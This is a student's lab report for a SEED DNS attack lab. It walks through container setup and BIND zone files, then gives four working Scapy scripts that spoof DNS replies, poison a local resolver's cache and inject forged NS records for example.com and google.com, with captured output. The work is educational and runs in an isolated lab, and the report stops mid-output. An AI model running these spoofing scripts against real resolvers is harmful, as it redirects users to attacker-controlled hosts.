Name : Linson Peter Rodrigues

Lab 12 : Local DNS Attack Lab

2.1 Container Setup

dcbuild: build the container image

```
[11/29/23]seed@VM:~/.../Labsetup$ ls
docker-compose.yml  image_attacker_ns  image_local_dns_server  image_user  volumes
[11/29/23]seed@VM:~/.../Labsetup$ dcbuild
Router uses an image, skipping
attacker uses an image, skipping
Building local-server
Step 1/4 : FROM handsonsecurity/seed-server:bind
bind: Pulling from handsonsecurity/seed-server
da7391352a9b: Already exists
14428a6d4bcd: Already exists
2c2d948710f2: Already exists
2c821fdd764b: Pull complete
Digest: sha256:e41ad35fe34590ad6c9ca63a1eab3b7e66796c326a4b2192de34fa30a15fe643
Status: Downloaded newer image for handsonsecurity/seed-server:bind
 ---> bbf95098dacf
Step 2/4 : COPY named.conf           /etc/bind/
 ---> d110d62a6241
Step 3/4 : COPY named.conf.options   /etc/bind/
 ---> 8e269bbf852d
Step 4/4 : CMD service named start && tail -f /dev/null
 ---> Running in 83c2a461d0ff
Removing intermediate container 83c2a461d0ff
 ---> 2370df2f4579

Successfully built 2370df2f4579
Successfully tagged seed-local-dns-server:latest
Building user
Step 1/5 : FROM handsonsecurity/seed-ubuntu:large
 ---> cecb04fbf1dd
Step 2/5 : COPY resolv.conf /etc/resolv.conf.override
 ---> 913ae80c7c75
Step 3/5 : COPY start.sh /
 ---> cf128e969c1c
```

```
Step 4/5 : RUN  chmod +x /start.sh
 ---> Running in 065b8a618c9e
Removing intermediate container 065b8a618c9e
 ---> e8e5e5f45260
Step 5/5 : CMD [ "/start.sh"]
 ---> Running in 807ae46ae7a9
Removing intermediate container 807ae46ae7a9
 ---> ad4f3d90dcc1

Successfully built ad4f3d90dcc1
Successfully tagged seed-user:latest
Building attacker-ns
Step 1/3 : FROM handsonsecurity/seed-server:bind
 ---> bbf95098dacf
Step 2/3 : COPY named.conf  zone_attacker32.com  zone_example.com  /etc/bind/
 ---> 721b23cc57f6
Step 3/3 : CMD service named start && tail -f /dev/null
 ---> Running in ddc57b59f640
Removing intermediate container ddc57b59f640
 ---> 624e809549a1

Successfully built 624e809549a1
Successfully tagged seed-attacker-ns:latest
```

dcup: started the container

```
[11/29/23]seed@VM:~/.../Labsetup$ dcup
Creating network "net-10.8.0.0" with the default driver
WARNING: Found orphan containers (victim-10.9.0.5, user1-10.9.0.6, user2-10.9.0.7) for this project. If you removed or renamed this service i
n your compose file, you can run this command with the --remove-orphans flag to clean it up.
Creating attacker-ns-10.9.0.153     ... done
Starting seed-attacker              ... done
Creating local-dns-server-10.9.0.53 ... done
Creating seed-router                ... done
Creating user-10.9.0.5              ... done
Attaching to seed-attacker, attacker-ns-10.9.0.153, local-dns-server-10.9.0.53, user-10.9.0.5, seed-router
attacker-ns-10.9.0.153 |  * Starting domain name service... named        [ OK ]
local-dns-server-10.9.0.53 |  * Starting domain name service... named    [ OK ]
```

dockps: displays the container IDs

```
[11/29/23]seed@VM:~/.../Labsetup$ dockps
46583ed0b4fa  user-10.9.0.5
6ae985a7354d  seed-router
5d918f1f1972  local-dns-server-10.9.0.53
75c41edd4cf2  attacker-ns-10.9.0.153
41168ca84d11  seed-attacker
[11/29/23]seed@VM:~/.../Labsetup$
```

docksh : gives shell access of the container

```
[11/29/23]seed@VM:~/.../Labsetup$ docksh user-10.9.0.5
root@46583ed0b4fa:/#

[11/29/23]seed@VM:~/.../Labsetup$ docksh local-dns-server-10.9.0.53
root@5d918f1f1972:/#

[11/29/23]seed@VM:~/.../Labsetup$ docksh attacker-ns-10.9.0.153
root@75c41edd4cf2:/#

[11/29/23]seed@VM:~/.../Labsetup$ docksh seed-attacker
root@VM:/#

[11/29/23]seed@VM:~/.../Labsetup$ docksh seed-router
root@6ae985a7354d:/#
```

cat /etc/resolv.conf

```
[11/29/23]seed@VM:~/.../Labsetup$ docksh user-10.9.0.5
root@46583ed0b4fa:/# export PS1="user-10.9.0.5:\w\n\$>"
user-10.9.0.5:/
$>cat /etc/resolv.conf
nameserver 10.9.0.53
user-10.9.0.5:/
$>
```

```
[11/29/23]seed@VM:~/.../Labsetup$ docksh local-dns-server-10.9.0.53
root@5d918f1f1972:/# export PS1="local-dns-server-10.9.0.53:\w\n\$>"
local-dns-server-10.9.0.53:/
$>ls /etc
adduser.conf            debian_version  gshadow-        ld.so.cache    magic          os-release  rc1.d        services     timezone
alternatives            default         gss             ld.so.conf     magic.mime     pam.conf    rc2.d        shadow       ufw
apparmor.d              deluser.conf    host.conf       ld.so.conf.d   mailcap        pam.d       rc3.d        shadow-      update-motd.d
apt                     dpkg            hostname        ldap           mailcap.order  passwd      rc4.d        shells       xattr.conf
bash.bashrc             e2scrub.conf    hosts           legal          mime.types     passwd-     rc5.d        skel
bind                    environment     init.d          libaudit.conf  mke2fs.conf    ppp         rc6.d        ssl
bindresvport.blacklist  ethertypes      inputrc         localtime      mtab           profile     rcS.d        subgid
ca-certificates         fstab           insserv.conf.d  logcheck       nanorc         profile.d   resolv.conf  subuid
ca-certificates.conf    gai.conf        iproute2        login.defs     network        protocols   rmt          sysctl.conf
cron.d                  group           issue           logrotate.d    networks       python3     rpc          sysctl.d
cron.daily              group-          issue.net       lsb-release    nsswitch.conf  python3.8   security     systemd
debconf.conf            gshadow         kernel          machine-id     opt            rc0.d       selinux      terminfo
local-dns-server-10.9.0.53:/
$>cd /etc/bind
local-dns-server-10.9.0.53:/etc/bind
$>ls
bind.keys  db.127  db.empty  named.conf                named.conf.local    rndc.key
db.0       db.255  db.local  named.conf.default-zones  named.conf.options  zones.rfc1918
local-dns-server-10.9.0.53:/etc/bind
$>
```

cat named.conf

```
$>cat named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

zone "attacker32.com" {
    type forward;
    forwarders {
        10.9.0.153;
    };
};
```

cat named.conf.options

```
$>cat named.conf.options
options {
        directory "/var/cache/bind";

        // If there is a firewall between you and nameservers you want
        // to talk to, you may need to fix the firewall to allow multiple
        // ports to talk.  See http://www.kb.cert.org/vuls/id/800113

        // If your ISP provided one or more IP addresses for stable
        // nameservers, you probably want to use them as forwarders.
        // Uncomment the following block, and insert the addresses replacing
        // the all-0's placeholder.

        // forwarders {
        //      0.0.0.0;
        // };

        //========================================================================
        // If BIND logs error messages about the root key being expired,
        // you will need to update your keys.  See https://www.isc.org/bind-keys
        //========================================================================

        // ---------------------------------------
        // Added/Modified for SEED labs
        // dnssec-validation auto;
        dnssec-validation no;
        dnssec-enable no;
        dump-file "/var/cache/bind/dump.db";
        query-source port        33333;
```

```
        // Access control
        allow-query { any; };
        allow-query-cache { any; };
        allow-recursion { any; };

        // ---------------------------------------

        listen-on-v6 { any; };
};
local-dns-server-10.9.0.53:/etc/bind
$>
```

rndc dumpdb -cache : used to dump the cache to the specified file

rndc flush : used to flush the DNS cache

```
local-dns-server-10.9.0.53:/etc/bind
$>cat /var/cache/bind
cat: /var/cache/bind: Is a directory
local-dns-server-10.9.0.53:/etc/bind
$>rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$>ls /var/cache/bind
dump.db
local-dns-server-10.9.0.53:/etc/bind
```

cat /var/cache/bind/dump.db : used to view the dump cache

```
$>cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20231123001424
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
; SERVFAIL cache
;
;
; Start view _bind
;
;
; Cache dump of view '_bind' (cache _bind)
;
; using a 604800 second stale ttl
$DATE 20231123001426
```

```
;
; Address database dump
;
; [edns success/4096 timeout/1432 timeout/1232 timeout/512 timeout]
; [plain success/timeout]
;
;
; Unassociated entries
;
;
; Bad cache
;
;
; SERVFAIL cache
;
; Dump complete
local-dns-server-10.9.0.53:/etc/bind
$>
```

```
[11/29/23]seed@VM:~/.../Labsetup$ docksh attacker-ns-10.9.0.153
root@75c41edd4cf2:/# export PS1="attacker-ns-10.9.0.153:\w\n\$>"
attacker-ns-10.9.0.153:/
$>cd /etc/bind
attacker-ns-10.9.0.153:/etc/bind
$>ls
bind.keys  db.127  db.empty  named.conf               named.conf.local    rndc.key             zone_example.com
db.0       db.255  db.local  named.conf.default-zones  named.conf.options  zone_attacker32.com  zones.rfc1918
attacker-ns-10.9.0.153:/etc/bind
$>cat named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

zone "attacker32.com" {
        type master;
        file "/etc/bind/zone_attacker32.com";
};

zone "example.com" {
        type master;
        file "/etc/bind/zone_example.com";
};
```

```
$>cat zone_attacker32.com
$TTL 3D
@       IN      SOA   ns.attacker32.com. admin.attacker32.com. (
                2008111001
                8H
                2H
                4W
                1D)

@       IN      NS    ns.attacker32.com.

@       IN      A     10.9.0.180
www     IN      A     10.9.0.180
ns      IN      A     10.9.0.153
*       IN      A     10.9.0.100
attacker-ns-10.9.0.153:/etc/bind
$>cat zone_example.com
$TTL 3D
@       IN      SOA   ns.example.com. admin.example.com. (
                2008111001
                8H
                2H
                4W
                1D)

@       IN      NS    ns.attacker32.com.

@       IN      A     1.2.3.4
www     IN      A     1.2.3.5
ns      IN      A     10.9.0.153
*       IN      A     1.2.3.6
attacker-ns-10.9.0.153:/etc/bind
```

```
[11/29/23]seed@VM:~/.../Labsetup$ docksh seed-attacker
root@VM:/# export PS1="seed-attacker:\w\n\$>"
seed-attacker:/
$>ls
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  volumes
seed-attacker:/
$>cd volumes/
seed-attacker:/volumes
$>ls
dns_sniff_spoof.py
seed-attacker:/volumes
$>
```

2.4 Testing the DNS setup

Get the IP address of ns.attacker32.com

```
[11/29/23]seed@VM:~/.../Labsetup$ docksh user-10.9.0.5
root@46583ed0b4fa:/# export PS1="user-10.9.0.5:\w\n\$>"
user-10.9.0.5:/
$>cat /etc/resolv.conf
nameserver 10.9.0.53
user-10.9.0.5:/
$>dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32675
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c2293fdcebfec25f010000006567e2c3b6ec8b21e24eabcc (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 11 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 30 01:17:55 UTC 2023
;; MSG SIZE  rcvd: 90
```

Get the IP address of www.example.com

```
user-10.9.0.5:/
$>dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23996
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 2e9312031decb680010000006567e31f1e07cfe2d76f9e59 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 567 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 30 01:19:27 UTC 2023
;; MSG SIZE  rcvd: 88

user-10.9.0.5:/
$>
```

dig @ns.attacker32.com www.example.com

```
user-10.9.0.5:/
$>dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10735
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d8938899dfa1801b010000006567f462d861bc648169cc43 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Thu Nov 30 02:33:06 UTC 2023
;; MSG SIZE  rcvd: 88

user-10.9.0.5:/
$>
```

Checked the cache in DNS server

```
$>rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$>cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
; using a 604800 second stale ttl
$DATE 20231123023517
; authanswer
.                       1118558 IN NS   a.root-servers.net.
                        1118558 IN NS   b.root-servers.net.
                        1118558 IN NS   c.root-servers.net.
                        1118558 IN NS   d.root-servers.net.
                        1118558 IN NS   e.root-servers.net.
                        1118558 IN NS   f.root-servers.net.
                        1118558 IN NS   g.root-servers.net.
                        1118558 IN NS   h.root-servers.net.
                        1118558 IN NS   i.root-servers.net.
                        1118558 IN NS   j.root-servers.net.
                        1118558 IN NS   k.root-servers.net.
                        1118558 IN NS   l.root-servers.net.
                        1118558 IN NS   m.root-servers.net.
; authanswer
                        1118558 RRSIG   NS 8 0 518400 (
                                        20231212220000 20231129210000 46780 .
                                        AdBxWpoa5rShrLcThAqSylQO90PKb1jzWnEd
                                        bo8j0Z+yCU0X8YQfHnnutJxalfntJ9uXYpFj
                                        QeSVV1XaJtfhL0srO5Km4odBY6MCHgeXJ6aD
                                        RMVNfDYsdIgdgSPr5pTqmOyhVSDFUhUolE2M

$>cat /var/cache/bind/dump.db | grep example
example.com.            686650  NS      a.iana-servers.net.
                                        20231209060142 20231118101641 46981 example.com.
www.example.com.        686650  A       93.184.216.34
                                        20231209033139 20231118101641 46981 example.com.

local-dns-server-10.9.0.53:/etc/bind
$>
```

Task 1 : Directly spoofing response to user

Code :

task1.py

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8'):
        pkt.show()

        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname,
                       type='A',
                       ttl=259200,
                       rdata='1.1.1.1')

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id,
                     qd=pkt[DNS].qd,
                     aa=1,
                     rd=0,
                     qr=1,
                     qdcount=1,
                     ancount=1,
                     nscount=0,
                     arcount=0,
                     an=Anssec)


        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.5 and dst port 53'
pkt = sniff(iface='br-0f962276bcb4', filter=f, prn=spoof_dns)
```

The user's device sends a DNS request to the local DNS server to convert the host name into an IP address when they type the address of a website (www.example.com) into a web browser. By intercepting the DNS request message, cybercriminals can take advantage of this procedure and quickly create a false DNS answer, which they can then send back to the user's computer.

Output:

```
$>python3 task1.py
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:35
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 57842
     flags     =
     frag      = 0
     ttl       = 64
     proto     = udp
     chksum    = 0x845b
     src       = 10.9.0.5
     dst       = 10.9.0.53
     \options   \
###[ UDP ]###
        sport     = 51961
        dport     = domain
        len       = 64
        chksum    = 0x149d
###[ DNS ]###
           id        = 2310
           qr        = 0
           opcode    = QUERY
           aa        = 0
           tc        = 0
           rd        = 1
```

```
ra        = 0
z         = 0
ad        = 1
cd        = 0
rcode     = ok
qdcount   = 1
ancount   = 0
nscount   = 0
arcount   = 1
\qd        \
 |###[ DNS Question Record ]###
 |  qname     = 'www.example.com.'
 |  qtype     = A
 |  qclass    = IN
an        = None
ns        = None
\ar        \
 |###[ DNS OPT Resource Record ]###
 |  rrname    = '.'
 |  type      = OPT
 |  rclass    = 4096
 |  extrcode  = 0
 |  version   = 0
 |  z         = 0
 |  rdlen     = None
 |  \rdata     \
 |   |###[ DNS EDNS0 TLV ]###
 |   |  optcode   = 10
 |   |  optlen    = 8
 |   |  optdata   = '\x87\x16\x8f\xd7|\x9a\x8f='
```

Dig www.example.com

```
user-10.9.0.5:/
$>dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2310
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.1.1.1

;; Query time: 63 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 30 05:48:43 UTC 2023
;; MSG SIZE  rcvd: 64

user-10.9.0.5:/
```

```
[11/29/23]seed@VM:~/.../Labsetup$ docksh seed-router
root@6ae985a7354d:/# export PS1="seed-router:\w\n\$>"
seed-router:/
$>tc qdisc show dev eth0
qdisc noqueue 0: root refcnt 2
seed-router:/
$>tc qdisc add dev eth0 root netem delay 100ms
seed-router:/
$>tc qdisc show dev eth0
qdisc netem 8001: root refcnt 2 limit 1000 delay 100.0ms
seed-router:/
$>
```

To ensure that genuine responses do not arrive too quickly, we purposefully slow down traffic heading out of the system. We can use the following commands to achieve it

-Delay the network traffic by 100ms

tc qdisc add dev eth0 root netem delay 100ms : used to delete the tc entry

tc qdisc del dev eth0 root netem : shows all the tc entries

tc qdisc show dev eth0

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

Code :

task2.py

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8'):
        pkt.show()

        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname,
                       type='A',
                       ttl=259200,
                       rdata='1.1.1.1')

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id,
                     qd=pkt[DNS].qd,
                     aa=1,
                     rd=0,
                     qr=1,
                     qdcount=1,
                     ancount=1,
                     nscount=0,
                     arcount=0,
                     an=Anssec)


        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-0f962276bcb4', filter=f, prn=spoof_dns)
```

The attacker in this case aims for the other DNS servers connected to the network. The local DNS server will store the spoof response in its cache for a certain amount of time if attackers are able to mimic the response from other DNS servers. The user's system will receive the faked response from the cache the next time it tries to resolve the same host name. Attackers will only need to spoof once in this manner, and the effect will persist until the expiration of the cached data. We refer to this assault as DNS cache poisoning.

Output :

```
user-10.9.0.5:/
$>dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47641
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 56def6c293b0f1180100000065682b4505046e5b41276d41 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.1.1.1

;; Query time: 1283 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 30 06:27:17 UTC 2023
;; MSG SIZE  rcvd: 88
```

```
           z         = 0
           ad        = 0
           cd        = 1
           rcode     = ok
           qdcount   = 1
           ancount   = 0
           nscount   = 0
           arcount   = 1
           \qd        \
            |###[ DNS Question Record ]###
            |  qname     = 'www.example.com.'
            |  qtype     = A
            |  qclass    = IN
           an        = None
           ns        = None
           \ar        \
            |###[ DNS OPT Resource Record ]###
            |  rrname    = '.'
            |  type      = OPT
            |  rclass    = 512
            |  extrcode  = 0
            |  version   = 0
            |  z         = D0
            |  rdlen     = None
            |  \rdata     \
            |   |###[ DNS EDNS0 TLV ]###
            |   |  optcode   = 10
            |   |  optlen    = 8
            |   |  optdata   = '\xdfa\x8f(\x90\xcf\x94\xfb'

.
Sent 1 packets.
```

```
$>rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$>cat /var/cache/bind/dump.db | grep example
example.com.            775912  NS      a.iana-servers.net.
www.example.com.        862313  A       1.1.1.1
local-dns-server-10.9.0.53:/etc/bind
$>
```

Task 3: Spoofing NS Records

Code :

task3.py

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8'):
        pkt.show()

        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.1.1.1')

       # The Authority Section
        NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')

       # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
                     nscount=1, arcount=0, an=Anssec, ns=NSsec1)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-0f962276bcb4', filter=f, prn=spoof_dns)
```

A single hostname is impacted by a DNS cache poisoning attack. In the event if we attack the entire example.com domain. Basically, in the Authority area, we add the following information after drafting a misleading response and fabricating the reply in the Answer part. After this data is cached by the local DNS server, any further queries for a hostname in the example.com domain will use ns.attacker32.com as the nameserver. Because hostile actors are in possession of ns.attacker32.com, it can provide phony answers to any inquiry.

Output:

```
seed-attacker:/volumes
$>./task3.py
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:0b
  src       = 02:42:0a:09:00:35
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 27606
     flags     =
     frag      = 0
     ttl       = 64
     proto     = udp
     chksum    = 0xb824
     src       = 10.9.0.53
     dst       = 199.43.133.53
     \options   \
###[ UDP ]###
        sport     = 33333
        dport     = domain
        len       = 64
        chksum    = 0x56f0
###[ DNS ]###
           id        = 4326
           qr        = 0
           opcode    = QUERY
           aa        = 0
           tc        = 0
           rd        = 0
```

```
            ra        = 0
            z         = 0
            ad        = 0
            cd        = 1
            rcode     = ok
            qdcount   = 1
            ancount   = 0
            nscount   = 0
            arcount   = 1
            \qd        \
             |###[ DNS Question Record ]###
             |  qname     = 'www.example.com.'
             |  qtype     = A
             |  qclass    = IN
            an        = None
            ns        = None
            \ar        \
             |###[ DNS OPT Resource Record ]###
             |  rrname    = '.'
             |  type      = OPT
             |  rclass    = 512
             |  extrcode  = 0
             |  version   = 0
             |  z         = D0
             |  rdlen     = None
             |  \rdata     \
             |   |###[ DNS EDNS0 TLV ]###
             |   |  optcode   = 10
             |   |  optlen    = 8
             |   |  optdata   = '\xdfa\x8f(\x90\xcf\x94\xfb'

.
Sent 1 packets.
```

```
user-10.9.0.5:/
$>dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49009
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: bac110cdb97e42da010000006568edb57c07f53998825524 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.1.1.1

;; Query time: 1359 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Nov 30 20:16:53 UTC 2023
;; MSG SIZE  rcvd: 88

user-10.9.0.5:/
$>
```

```
local-dns-server-10.9.0.53:/etc/bind
$>rndc dumpdb -cache
local-dns-server-10.9.0.53:/etc/bind
$>cat /var/cache/bind/dump.db | grep example
example.com.            776499  NS      ns.attacker32.com.
www.example.com.        862900  A       1.1.1.1
local-dns-server-10.9.0.53:/etc/bind
$>
```

Task 4: Spoofing NS Records for Another Domain

Code:

task4.py task3.py

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8'):
        pkt.show()

        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='1.1.1.1')

       # The Authority Section
        NSsec1 = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
        NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='ns.attacker32.com')
       # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1,
                     nscount=2, arcount=0, an=Anssec, ns=NSsec1/NSsec2)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        spoofpkt.show()
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and src host 10.9.0.53 and dst port 53'
pkt = sniff(iface='br-0f962276bcb4', filter=f, prn=spoof_dns)
```

Here, we attempt to influence other domains (such as google.com) as well by including an additional argument in the Authority Section.

Output:

```
$>./task4.py
###[ Ethernet ]###
  dst       = 02:42:0a:09:00:0b
  src       = 02:42:0a:09:00:35
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 84
     id        = 49418
     flags     =
     frag      = 0
     ttl       = 64
     proto     = udp
     chksum    = 0x62f0
     src       = 10.9.0.53
     dst       = 199.43.133.53
     \options   \
###[ UDP ]###
        sport     = 33333
        dport     = domain
        len       = 64
        chksum    = 0x56f0
###[ DNS ]###
           id        = 19364
           qr        = 0
           opcode    = QUERY
           aa        = 0
           tc        = 0
           rd        = 0
           ra        = 0
           z         = 0
           ad        = 0
           cd        = 1
           rcode     = ok
           qdcount   = 1
```

```
           ancount   = 0
           nscount   = 0
           arcount   = 1
           \qd        \
            |###[ DNS Question Record ]###
            |  qname     = 'www.example.com.'
            |  qtype     = A
            |  qclass    = IN
           an        = None
           ns        = None
           \ar        \
            |###[ DNS OPT Resource Record ]###
            |  rrname    = '.'
            |  type      = OPT
            |  rclass    = 512
            |  extrcode  = 0
            |  version   = 0
            |  z         = D0
            |  rdlen     = None
            |  \rdata     \
            |   |###[ DNS EDNS0 TLV ]###
            |   |  optcode   = 10
            |   |  optlen    = 8
            |   |  optdata   = '\xdfa\x8f(\x90\xcf\x94\xfb'

###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = udp
  chksum    = None
  src       = 199.43.133.53
  dst       = 10.9.0.53
```

```
  \options   \
###[ UDP ]###
     sport     = domain
     dport     = 33333
     len       = None
     chksum    = None
###[ DNS ]###
        id        = 19364
        qr        = 1
        opcode    = QUERY
        aa        = 1
        tc        = 0
        rd        = 0
        ra        = 0
        z         = 0
        ad        = 0
        cd        = 0
        rcode     = ok
        qdcount   = 1
        ancount   = 1
        nscount   = 2
        arcount   = 0
        \qd        \
         |###[ DNS Question Record ]###
         |  qname     = 'www.example.com.'
         |  qtype     = A
         |  qclass    = IN
        \an        \
         |###[ DNS Resource Record ]###
         |  rrname    = 'www.example.com.'
         |  type      = A
         |  rclass    = IN
         |  ttl       = 259200
         |  rdlen     = None
         |  rdata     = 1.1.1.1
        \ns        \
```

```
user-10.9.0.5:/
$>dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47162
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 938427c13523f370010000006568f984b064b67f23c8c694 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

